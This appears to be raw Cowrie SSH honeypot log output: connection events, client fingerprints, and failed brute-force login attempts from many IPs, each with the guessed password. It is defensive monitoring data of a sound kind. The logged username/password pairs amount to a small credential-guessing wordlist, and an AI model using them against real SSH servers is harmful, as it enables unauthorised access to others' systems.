{"eventid":"cowrie.login.failed","username":"root","password":"immortall","message":"login attempt [root/immortall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:24.413993Z","src_ip":"154.70.102.114","session":"5207dd432f36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":38668,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb7fd88fc5be","protocol":"ssh","message":"New connection: 185.236.22.41:38668 (10.17.0.5:22) [session: bb7fd88fc5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:24.854084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:24.858738Z","src_ip":"185.236.22.41","session":"bb7fd88fc5be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:24.967091Z","src_ip":"185.236.22.41","session":"bb7fd88fc5be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:25.297968Z","src_ip":"185.236.22.41","session":"bb7fd88fc5be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:25.616800Z","src_ip":"154.70.102.114","session":"5207dd432f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:26.414122Z","src_ip":"185.236.22.41","session":"bb7fd88fc5be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":58780,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f5d16e1432","protocol":"ssh","message":"New connection: 168.144.95.137:58780 (10.17.0.5:22) [session: 15f5d16e1432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:43.980215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:43.985531Z","src_ip":"168.144.95.137","session":"15f5d16e1432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:44.193974Z","src_ip":"168.144.95.137","session":"15f5d16e1432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"google.com","message":"login attempt [root/google.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:45.058161Z","src_ip":"168.144.95.137","session":"15f5d16e1432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:46.274376Z","src_ip":"168.144.95.137","session":"15f5d16e1432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":43058,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc4ed2ab1882","protocol":"ssh","message":"New connection: 154.70.102.114:43058 (10.17.0.5:22) [session: bc4ed2ab1882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:55.204339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:55.210483Z","src_ip":"154.70.102.114","session":"bc4ed2ab1882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:55.418790Z","src_ip":"154.70.102.114","session":"bc4ed2ab1882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123","message":"login attempt [root/asdasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:56.282229Z","src_ip":"154.70.102.114","session":"bc4ed2ab1882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:57.493397Z","src_ip":"154.70.102.114","session":"bc4ed2ab1882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48116,"dst_ip":"159.203.135.109","dst_port":22,"session":"59285d5348bf","protocol":"ssh","message":"New connection: 193.32.162.151:48116 (159.203.135.109:22) [session: 59285d5348bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:58.344723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:58.349456Z","src_ip":"193.32.162.151","session":"59285d5348bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:58.449135Z","src_ip":"193.32.162.151","session":"59285d5348bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"p@ssw0rd","message":"login attempt [hduser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:58.755213Z","src_ip":"193.32.162.151","session":"59285d5348bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:32:59.860676Z","src_ip":"193.32.162.151","session":"59285d5348bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":57344,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a11b71fe56b","protocol":"ssh","message":"New connection: 217.154.42.110:57344 (159.203.135.109:22) [session: 3a11b71fe56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:06.754896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:06.759488Z","src_ip":"217.154.42.110","session":"3a11b71fe56b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:06.845587Z","src_ip":"217.154.42.110","session":"3a11b71fe56b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1969","message":"login attempt [root/1969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:07.201065Z","src_ip":"217.154.42.110","session":"3a11b71fe56b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:08.284763Z","src_ip":"217.154.42.110","session":"3a11b71fe56b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":54824,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bc69e68097c","protocol":"ssh","message":"New connection: 43.128.106.207:54824 (159.203.135.109:22) [session: 8bc69e68097c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:11.068125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:11.073179Z","src_ip":"43.128.106.207","session":"8bc69e68097c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:11.310819Z","src_ip":"43.128.106.207","session":"8bc69e68097c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123456","message":"login attempt [root/!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:12.291940Z","src_ip":"43.128.106.207","session":"8bc69e68097c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":57758,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc528d87d21b","protocol":"ssh","message":"New connection: 103.77.242.62:57758 (10.17.0.5:22) [session: bc528d87d21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:12.718891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:12.724324Z","src_ip":"103.77.242.62","session":"bc528d87d21b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:12.967337Z","src_ip":"103.77.242.62","session":"bc528d87d21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:13.534732Z","src_ip":"43.128.106.207","session":"8bc69e68097c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doberman","message":"login attempt [root/doberman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:13.696521Z","src_ip":"103.77.242.62","session":"bc528d87d21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:14.943026Z","src_ip":"103.77.242.62","session":"bc528d87d21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":42822,"dst_ip":"10.17.0.5","dst_port":22,"session":"c69802884b60","protocol":"ssh","message":"New connection: 185.40.30.168:42822 (10.17.0.5:22) [session: c69802884b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:15.931113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:15.936436Z","src_ip":"185.40.30.168","session":"c69802884b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:16.070302Z","src_ip":"185.40.30.168","session":"c69802884b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!","message":"login attempt [root/!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:16.592445Z","src_ip":"185.40.30.168","session":"c69802884b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:17.718428Z","src_ip":"185.40.30.168","session":"c69802884b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":45848,"dst_ip":"159.203.135.109","dst_port":22,"session":"47346902c54e","protocol":"ssh","message":"New connection: 69.49.246.176:45848 (159.203.135.109:22) [session: 47346902c54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:23.375944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:33:23.381097Z","src_ip":"69.49.246.176","session":"47346902c54e","protocol":"ssh"}
